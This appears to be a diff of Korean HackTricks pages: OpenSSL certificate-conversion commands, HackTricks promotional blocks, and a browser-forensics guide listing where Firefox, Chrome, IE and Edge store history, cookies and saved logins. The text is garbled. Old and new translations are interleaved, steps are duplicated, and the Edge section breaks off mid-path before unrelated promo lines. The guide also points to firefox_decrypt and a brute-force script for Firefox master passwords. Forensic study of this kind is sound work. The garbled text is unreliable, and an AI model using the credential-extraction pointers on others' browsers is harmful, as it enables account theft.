1. PFX를 PEM으로 변환합니다.
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
2. PEM을 PKCS8로 변환하기
|
||||
|
||||
PEM 형식의 개인 키를 PKCS8 형식으로 변환하는 방법은 다음과 같습니다:
|
||||
|
||||
```bash
|
||||
openssl pkcs8 -topk8 -inform PEM -outform DER -in private_key.pem -out private_key.pk8 -nocrypt
|
||||
```
|
||||
|
||||
위 명령어를 사용하여 개인 키를 PKCS8 형식으로 변환할 수 있습니다. 변환된 개인 키는 `private_key.pk8` 파일에 저장됩니다.
|
||||
2. PEM을 PKCS8로 변환합니다.
|
||||
```bash
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
- **P7B를 PFX로 변환**은 두 개의 명령어가 필요합니다:
|
||||
* **P7B를 PFX로** 변환하려면 두 개의 명령이 필요합니다:
|
||||
1. P7B를 CER로 변환합니다.
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||
```
|
||||
2. CER 및 개인 키를 PFX로 변환하기
|
||||
|
||||
CER 파일과 개인 키를 PFX 형식으로 변환하는 방법을 알아보겠습니다. PFX 파일은 개인 키와 인증서를 함께 포함하는 형식입니다.
|
||||
|
||||
1. OpenSSL을 사용하여 CER 파일을 PEM 형식으로 변환합니다.
|
||||
```
|
||||
openssl x509 -inform der -in certificate.cer -out certificate.pem
|
||||
```
|
||||
|
||||
2. 개인 키를 PEM 형식으로 변환합니다.
|
||||
```
|
||||
openssl rsa -in privatekey.key -out privatekey.pem
|
||||
```
|
||||
|
||||
3. 변환된 CER 파일과 개인 키를 PFX 파일로 결합합니다.
|
||||
```
|
||||
openssl pkcs12 -export -in certificate.pem -inkey privatekey.pem -out certificate.pfx
|
||||
```
|
||||
|
||||
이제 CER 파일과 개인 키를 PFX 파일로 변환했습니다. PFX 파일은 다양한 용도로 사용될 수 있으며, 예를 들어 웹 서버에서 SSL/TLS 인증서를 설치하는 데 사용될 수 있습니다.
|
||||
2. CER 및 개인 키를 PFX로 변환합니다.
|
||||
```bash
|
||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||
```
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장** **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 사용하여 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,79 +2,76 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 고급스러운 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 브라우저 아티팩트 <a href="#id-3def" id="id-3def"></a>
|
||||
|
||||
브라우저 아티팩트에는 탐색 기록, 즐겨찾기 및 캐시 데이터와 같은 웹 브라우저에 의해 저장된 다양한 유형의 데이터가 포함됩니다. 이러한 아티팩트는 운영 체제 내의 특정 폴더에 보관되며, 브라우저마다 위치와 이름이 다르지만 일반적으로 유사한 데이터 유형을 저장합니다.
|
||||
브라우저 아티팩트에는 네비게이션 히스토리, 북마크 및 캐시 데이터와 같은 웹 브라우저에 의해 저장된 다양한 유형의 데이터가 포함됩니다. 이러한 아티팩트는 운영 체제 내의 특정 폴더에 보관되며, 브라우저마다 위치와 이름이 다르지만 일반적으로 유사한 데이터 유형을 저장합니다.
|
||||
|
||||
가장 일반적인 브라우저 아티팩트 요약은 다음과 같습니다:
|
||||
|
||||
- **탐색 기록**: 사용자가 웹 사이트를 방문한 기록으로, 악성 사이트 방문을 식별하는 데 유용합니다.
|
||||
- **자동 완성 데이터**: 자주 검색한 내용을 기반으로 한 제안으로, 탐색 기록과 결합하여 통찰력을 제공합니다.
|
||||
- **즐겨찾기**: 사용자가 빠르게 액세스하기 위해 저장한 사이트.
|
||||
- **확장 프로그램 및 애드온**: 사용자가 설치한 브라우저 확장 프로그램 또는 애드온.
|
||||
- **캐시**: 웹 콘텐츠(예: 이미지, JavaScript 파일)를 저장하여 웹 사이트 로딩 시간을 개선하는 데 유용한 포렌식 분석에 가치가 있습니다.
|
||||
- **로그인**: 저장된 로그인 자격 증명.
|
||||
- **파비콘**: 탭 및 즐겨찾기에 표시되는 웹 사이트와 관련된 아이콘으로, 사용자 방문에 대한 추가 정보로 유용합니다.
|
||||
- **브라우저 세션**: 열린 브라우저 세션과 관련된 데이터.
|
||||
- **다운로드**: 브라우저를 통해 다운로드한 파일의 기록.
|
||||
- **양식 데이터**: 웹 양식에 입력한 정보로, 자동 완성 제안을 위해 저장됩니다.
|
||||
- **썸네일**: 웹 사이트의 미리보기 이미지.
|
||||
- **사용자 정의 사전.txt**: 사용자가 브라우저 사전에 추가한 단어.
|
||||
* **네비게이션 히스토리**: 사용자가 웹 사이트를 방문한 내역을 추적하여 악성 사이트 방문을 식별하는 데 유용합니다.
|
||||
* **자동완성 데이터**: 빈번한 검색을 기반으로 하는 제안으로, 네비게이션 히스토리와 결합되면 통찰을 제공합니다.
|
||||
* **북마크**: 사용자가 빠르게 액세스하기 위해 저장한 사이트.
|
||||
* **확장 프로그램 및 애드온**: 사용자가 설치한 브라우저 확장 프로그램 또는 애드온.
|
||||
* **캐시**: 웹 콘텐츠(예: 이미지, JavaScript 파일)를 저장하여 웹 사이트 로딩 시간을 단축하는 데 유용한 포렌식 분석에 가치가 있습니다.
|
||||
* **로그인 정보**: 저장된 로그인 자격 증명.
|
||||
* **파비콘**: 탭 및 북마크에 나타나는 웹 사이트와 관련된 아이콘으로, 사용자 방문에 대한 추가 정보로 유용합니다.
|
||||
* **브라우저 세션**: 열린 브라우저 세션과 관련된 데이터.
|
||||
* **다운로드**: 브라우저를 통해 다운로드한 파일의 기록.
|
||||
* **양식 데이터**: 웹 양식에 입력된 정보로, 미래 자동 입력 제안을 위해 저장됩니다.
|
||||
* **썸네일**: 웹 사이트의 미리 보기 이미지.
|
||||
* **사용자 지정 사전.txt**: 브라우저 사전에 사용자가 추가한 단어.
|
||||
|
||||
## 파이어폭스
|
||||
|
||||
## Firefox
|
||||
파이어폭스는 프로필 내에서 사용자 데이터를 조직화하며, 운영 체제에 따라 특정 위치에 저장됩니다:
|
||||
|
||||
Firefox는 프로필 내에서 사용자 데이터를 조직화하며, 운영 체제에 따라 특정 위치에 저장됩니다:
|
||||
* **리눅스**: `~/.mozilla/firefox/`
|
||||
* **맥OS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
* **윈도우**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
|
||||
- **Linux**: `~/.mozilla/firefox/`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
|
||||
이러한 디렉토리 내의 `profiles.ini` 파일은 사용자 프로필을 나열합니다. 각 프로필의 데이터는 `profiles.ini`와 동일한 디렉토리에 위치한 `profiles.ini` 내의 `Path` 변수로 지정된 폴더에 저장됩니다. 프로필 폴더가 없는 경우 삭제되었을 수 있습니다.
|
||||
이러한 디렉토리 내에 있는 `profiles.ini` 파일은 사용자 프로필을 나열합니다. 각 프로필의 데이터는 `profiles.ini`와 동일한 디렉토리에 위치한 `Path` 변수로 명명된 폴더에 저장됩니다. 프로필 폴더가 누락된 경우 삭제된 것일 수 있습니다.
|
||||
|
||||
각 프로필 폴더 내에서 여러 중요한 파일을 찾을 수 있습니다:
|
||||
|
||||
- **places.sqlite**: 탐색 기록, 즐겨찾기 및 다운로드를 저장합니다. Windows에서 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html)와 같은 도구를 사용하여 탐색 기록 데이터에 액세스할 수 있습니다.
|
||||
- 특정 SQL 쿼리를 사용하여 탐색 기록 및 다운로드 정보를 추출할 수 있습니다.
|
||||
- **bookmarkbackups**: 즐겨찾기의 백업을 포함합니다.
|
||||
- **formhistory.sqlite**: 웹 양식 데이터를 저장합니다.
|
||||
- **handlers.json**: 프로토콜 핸들러를 관리합니다.
|
||||
- **persdict.dat**: 사용자 정의 사전 단어.
|
||||
- **addons.json** 및 **extensions.sqlite**: 설치된 애드온 및 확장 프로그램에 대한 정보.
|
||||
- **cookies.sqlite**: 쿠키 저장소로, Windows에서 [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)를 사용하여 검사할 수 있습니다.
|
||||
- **cache2/entries** 또는 **startupCache**: 캐시 데이터로, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html)와 같은 도구를 통해 액세스할 수 있습니다.
|
||||
- **favicons.sqlite**: 파비콘을 저장합니다.
|
||||
- **prefs.js**: 사용자 설정 및 기본 설정.
|
||||
- **downloads.sqlite**: 이전 다운로드 데이터베이스로, 현재는 places.sqlite에 통합되었습니다.
|
||||
- **thumbnails**: 웹 사이트 썸네일.
|
||||
- **logins.json**: 암호화된 로그인 정보.
|
||||
- **key4.db** 또는 **key3.db**: 민감한 정보를 보호하기 위한 암호화 키를 저장합니다.
|
||||
* **places.sqlite**: 히스토리, 북마크 및 다운로드를 저장합니다. Windows의 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)와 같은 도구는 히스토리 데이터에 액세스할 수 있습니다.
|
||||
* 특정 SQL 쿼리를 사용하여 히스토리 및 다운로드 정보를 추출합니다.
|
||||
* **bookmarkbackups**: 북마크의 백업을 포함합니다.
|
||||
* **formhistory.sqlite**: 웹 양식 데이터를 저장합니다.
|
||||
* **handlers.json**: 프로토콜 핸들러를 관리합니다.
|
||||
* **persdict.dat**: 사용자 지정 사전 단어.
|
||||
* **addons.json** 및 **extensions.sqlite**: 설치된 애드온 및 확장 프로그램 정보.
|
||||
* **cookies.sqlite**: 쿠키 저장소로, Windows에서는 [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)를 통해 검사할 수 있습니다.
|
||||
* **cache2/entries** 또는 **startupCache**: 캐시 데이터로, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html)와 같은 도구를 통해 액세스할 수 있습니다.
|
||||
* **favicons.sqlite**: 파비콘을 저장합니다.
|
||||
* **prefs.js**: 사용자 설정 및 환경 설정.
|
||||
* **downloads.sqlite**: 이전 다운로드 데이터베이스로, 현재는 places.sqlite에 통합되어 있습니다.
|
||||
* **thumbnails**: 웹 사이트 썸네일.
|
||||
* **logins.json**: 암호화된 로그인 정보.
|
||||
* **key4.db** 또는 **key3.db**: 민감한 정보 보호를 위한 암호화 키를 저장합니다.
|
||||
|
||||
또한, `prefs.js`에서 `browser.safebrowsing` 항목을 검색하여 안전한 탐색 기능이 활성화되었는지 비활성화되었는지 확인할 수 있습니다.
|
||||
또한, 브라우저의 안티 피싱 설정을 확인하려면 `prefs.js`에서 `browser.safebrowsing` 항목을 검색하여 안전한 브라우징 기능이 활성화되었는지 비활성화되었는지 확인할 수 있습니다.
|
||||
|
||||
|
||||
마스터 암호를 복호화하려면 [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)를 사용할 수 있습니다.\
|
||||
다음 스크립트와 호출을 사용하여 브루트 포스할 암호 파일을 지정할 수 있습니다:
|
||||
마스터 암호를 복호화하려면 [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)를 사용할 수 있습니다. 다음 스크립트와 호출을 사용하여 브루트 포스할 암호 파일을 지정할 수 있습니다:
|
||||
|
||||
{% code title="brute.sh" %}
|
||||
```bash
|
||||
|
@ -93,66 +90,115 @@ done < $passfile
|
|||
|
||||
## Google Chrome
|
||||
|
||||
Google Chrome은 운영 체제에 따라 사용자 프로필을 특정 위치에 저장합니다:
|
||||
Google Chrome은 운영 체제에 따라 특정 위치에 사용자 프로필을 저장합니다:
|
||||
|
||||
- **Linux**: `~/.config/google-chrome/`
|
||||
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||
* **Linux**: `~/.config/google-chrome/`
|
||||
* **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||
* **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||
|
||||
이러한 디렉토리 내에서 대부분의 사용자 데이터는 **Default/** 또는 **ChromeDefaultData/** 폴더에 저장됩니다. 다음 파일에는 중요한 데이터가 저장됩니다:
|
||||
|
||||
- **History**: URL, 다운로드 및 검색 키워드가 포함되어 있습니다. Windows에서는 [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html)를 사용하여 히스토리를 읽을 수 있습니다. "Transition Type" 열에는 사용자가 링크를 클릭하거나 URL을 입력하거나 양식을 제출하거나 페이지를 새로 고침하는 등 다양한 의미가 있습니다.
|
||||
- **Cookies**: 쿠키를 저장합니다. 검사를 위해 [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html)를 사용할 수 있습니다.
|
||||
- **Cache**: 캐시된 데이터를 보유합니다. Windows 사용자는 [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html)를 활용하여 검사할 수 있습니다.
|
||||
- **Bookmarks**: 사용자 북마크입니다.
|
||||
- **Web Data**: 양식 기록이 포함되어 있습니다.
|
||||
- **Favicons**: 웹 사이트 아이콘이 저장됩니다.
|
||||
- **Login Data**: 사용자 이름과 비밀번호와 같은 로그인 자격 증명이 포함됩니다.
|
||||
- **Current Session**/**Current Tabs**: 현재 브라우징 세션 및 열린 탭에 대한 데이터입니다.
|
||||
- **Last Session**/**Last Tabs**: Chrome이 닫히기 전 마지막 세션에서 활성화된 사이트에 대한 정보입니다.
|
||||
- **Extensions**: 브라우저 확장 프로그램과 애드온을 위한 디렉토리입니다.
|
||||
- **Thumbnails**: 웹 사이트 썸네일이 저장됩니다.
|
||||
- **Preferences**: 플러그인, 확장 프로그램, 팝업, 알림 등의 설정을 포함한 정보가 있는 파일입니다.
|
||||
- **브라우저 내장 안티 피싱**: 안티 피싱 및 악성 코드 보호 기능이 활성화되어 있는지 확인하려면 `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`를 실행합니다. 출력에서 `{"enabled: true,"}`를 찾습니다.
|
||||
이러한 디렉토리 내에서 대부분의 사용자 데이터는 **Default/** 또는 **ChromeDefaultData/** 폴더에서 찾을 수 있습니다. 다음 파일에 중요한 데이터가 포함되어 있습니다:
|
||||
|
||||
* **History**: URL, 다운로드 및 검색 키워드를 포함합니다. Windows에서는 [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html)를 사용하여 히스토리를 읽을 수 있습니다. "Transition Type" 열에는 사용자가 링크를 클릭하거나 URL을 입력하거나 양식을 제출하거나 페이지를 새로 고침하는 등 다양한 의미가 포함됩니다.
|
||||
* **Cookies**: 쿠키를 저장합니다. 검사를 위해 [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html)를 사용할 수 있습니다.
|
||||
* **Cache**: 캐시된 데이터를 보유합니다. Windows 사용자는 [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html)를 활용하여 검사할 수 있습니다.
|
||||
* **Bookmarks**: 사용자 북마크입니다.
|
||||
* **Web Data**: 양식 히스토리를 포함합니다.
|
||||
* **Favicons**: 웹 사이트의 파비콘을 저장합니다.
|
||||
* **Login Data**: 사용자 이름 및 비밀번호와 같은 로그인 자격 증명을 포함합니다.
|
||||
* **Current Session**/**Current Tabs**: 현재 브라우징 세션 및 열린 탭에 대한 데이터입니다.
|
||||
* **Last Session**/**Last Tabs**: Chrome이 닫히기 전에 활성화된 사이트에 대한 정보입니다.
|
||||
* **Extensions**: 브라우저 확장 프로그램 및 애드온을 위한 디렉토리입니다.
|
||||
* **Thumbnails**: 웹 사이트 썸네일을 저장합니다.
|
||||
* **Preferences**: 플러그인, 확장 프로그램, 팝업, 알림 등의 설정을 포함한 정보가 풍부한 파일입니다.
|
||||
* **Browser의 내장된 안티 피싱**: 안티 피싱 및 악성 코드 보호가 활성화되어 있는지 확인하려면 `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`를 실행합니다. 출력에서 `{"enabled: true,"}`를 찾습니다.
|
||||
|
||||
## **SQLite DB 데이터 복구**
|
||||
|
||||
이전 섹션에서 확인할 수 있듯이, Chrome과 Firefox는 데이터를 저장하기 위해 **SQLite** 데이터베이스를 사용합니다. [**sqlparse**](https://github.com/padfoot999/sqlparse) **또는** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) 도구를 사용하여 삭제된 항목을 복구할 수 있습니다.
|
||||
이전 섹션에서 볼 수 있듯이, Chrome과 Firefox는 데이터를 저장하기 위해 **SQLite** 데이터베이스를 사용합니다. 삭제된 항목을 복구할 수 있는 도구인 [**sqlparse**](https://github.com/padfoot999/sqlparse) **또는** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)를 사용할 수 있습니다.
|
||||
|
||||
## **Internet Explorer 11**
|
||||
|
||||
Internet Explorer 11은 저장된 정보와 해당 세부 정보를 쉽게 액세스하고 관리하기 위해 다양한 위치에 데이터 및 메타데이터를 관리합니다.
|
||||
Internet Explorer 11은 다양한 위치에 데이터 및 메타데이터를 관리하여 저장된 정보와 해당 세부 정보를 쉽게 액세스하고 관리할 수 있도록 지원합니다.
|
||||
|
||||
### 메타데이터 저장
|
||||
Internet Explorer의 메타데이터는 `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (VX는 V01, V16 또는 V24일 수 있음)에 저장됩니다. 이와 함께 `V01.log` 파일은 `WebcacheVX.data`와 수정 시간의 불일치를 보여줄 수 있으며, `esentutl /r V01 /d`를 사용하여 복구해야 할 수도 있습니다. 이 ESE 데이터베이스에 저장된 메타데이터는 photorec 및 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html)와 같은 도구를 사용하여 복구하고 검사할 수 있습니다. **Containers** 테이블 내에서는 각 데이터 세그먼트가 저장된 특정 테이블 또는 컨테이너를 식별할 수 있으며, 이는 Skype와 같은 다른 Microsoft 도구에 대한 캐시 세부 정보를 포함합니다.
|
||||
|
||||
Internet Explorer의 메타데이터는 `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (VX가 V01, V16 또는 V24인 경우)에 저장됩니다. 이와 함께 `V01.log` 파일은 `WebcacheVX.data`와 수정 시간 불일치를 보여줄 수 있으며, `esentutl /r V01 /d`를 사용하여 복구해야 할 수 있습니다. 이 ESE 데이터베이스에 저장된 메타데이터는 photorec 및 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)와 같은 도구를 사용하여 복구하고 검사할 수 있습니다. **Containers** 테이블 내에서 각 데이터 세그먼트가 저장된 특정 테이블 또는 컨테이너를 식별할 수 있으며, 이는 Skype와 같은 다른 Microsoft 도구의 캐시 세부 정보를 포함합니다.
|
||||
|
||||
### 캐시 검사
|
||||
[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) 도구를 사용하여 캐시를 검사할 수 있으며, 캐시 데이터 추출 폴더 위치가 필요합니다. 캐시의 메타데이터에는 파일 이름, 디렉토리, 액세스 횟수, URL 원본 및 캐시 생성, 액세스, 수정 및 만료 시간을 나타내는 타임스탬프가 포함됩니다.
|
||||
|
||||
[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) 도구를 사용하여 캐시를 검사할 수 있으며, 캐시 데이터 추출 폴더 위치가 필요합니다. 캐시의 메타데이터에는 파일 이름, 디렉토리, 액세스 횟수, URL 원본 및 캐시 생성, 액세스, 수정 및 만료 시간을 나타내는 타임스탬프가 포함됩니다.
|
||||
|
||||
### 쿠키 관리
|
||||
[IECookiesView](https://www.nirsoft.net/utils/iecookies.html)를 사용하여 쿠키를 탐색할 수 있으며, 메타데이터에는 이름, URL, 액세스 횟수 및 다양한 시간 관련 세부 정보가 포함됩니다. 영구적인 쿠키는 `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`에 저장되며, 세션 쿠키는 메모리에 저장됩니다.
|
||||
|
||||
쿠키는 [IECookiesView](https://www.nirsoft.net/utils/iecookies.html)를 사용하여 탐색할 수 있으며, 메타데이터에는 이름, URL, 액세스 횟수 및 다양한 시간 관련 세부 정보가 포함됩니다. 영구 쿠키는 `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`에 저장되며, 세션 쿠키는 메모리에 저장됩니다.
|
||||
|
||||
### 다운로드 세부 정보
|
||||
[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html)를 통해 다운로드 메타데이터에 액세스할 수 있으며, 특정 컨테이너에는 URL, 파일 유형 및 다운로드 위치와 같은 데이터가 저장됩니다. 물리적인 파일은 `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`에서 찾을 수 있습니다.
|
||||
|
||||
### 브라우징 기록
|
||||
[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html)를 사용하여 브라우징 기록을 검토할 수 있으며, 추출된 기록 파일의 위치와 Internet Explorer의 구성이 필요합니다. 여기서 메타데이터에는 수정 및 액세스 시간과 액세스 횟수가 포함됩니다. 기록 파일은 `%userprofile%\Appdata\Local\Microsoft\Windows\History`에 위치합니다.
|
||||
다운로드 메타데이터는 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)를 통해 액세스할 수 있으며, 특정 컨테이너에는 URL, 파일 유형 및 다운로드 위치와 같은 데이터가 저장됩니다. 물리적 파일은 `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`에서 찾을 수 있습니다.
|
||||
|
||||
### 브라우징 히스토리
|
||||
|
||||
브라우징 히스토리를 검토하려면 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)를 사용하고, 추출된 히스토리 파일의 위치와 Internet Explorer 구성을 설정해야 합니다. 여기서 메타데이터에는 수정 및 액세스 시간과 액세스 횟수가 포함됩니다. 히스토리 파일은 `%userprofile%\Appdata\Local\Microsoft\Windows\History`에 있습니다.
|
||||
|
||||
### 입력된 URL
|
||||
입력된 URL과 사용 시간은 레지스트리의 `NTUSER.DAT`에서 `Software\Microsoft\InternetExplorer\TypedURLs` 및 `Software\Microsoft\InternetExplorer\TypedURLsTime`에 저장되며, 사용자가 입력한 마지막 50개의 URL과 마지막 입력 시간을 추적합니다.
|
||||
|
||||
입력된 URL 및 사용 시간은 사용자가 입력한 마지막 50개 URL과 해당 마지막 입력 시간을 추적하는 `NTUSER.DAT`의 `Software\Microsoft\InternetExplorer\TypedURLs` 및 `Software\Microsoft\InternetExplorer\TypedURLsTime` 아래에 저장됩니다.
|
||||
|
||||
## Microsoft Edge
|
||||
|
||||
Microsoft Edge는 사용자 데이터를 `%userprofile%\Appdata\Local\Packages`에 저장합니다. 다양한 데이터 유형의 경로는 다음과 같습니다:
|
||||
|
||||
- **프로필 경로**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
- **히스토리, 쿠키 및 다운로드**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
- **설정, 북마크 및 읽기 목록**: `C
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**telegram 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
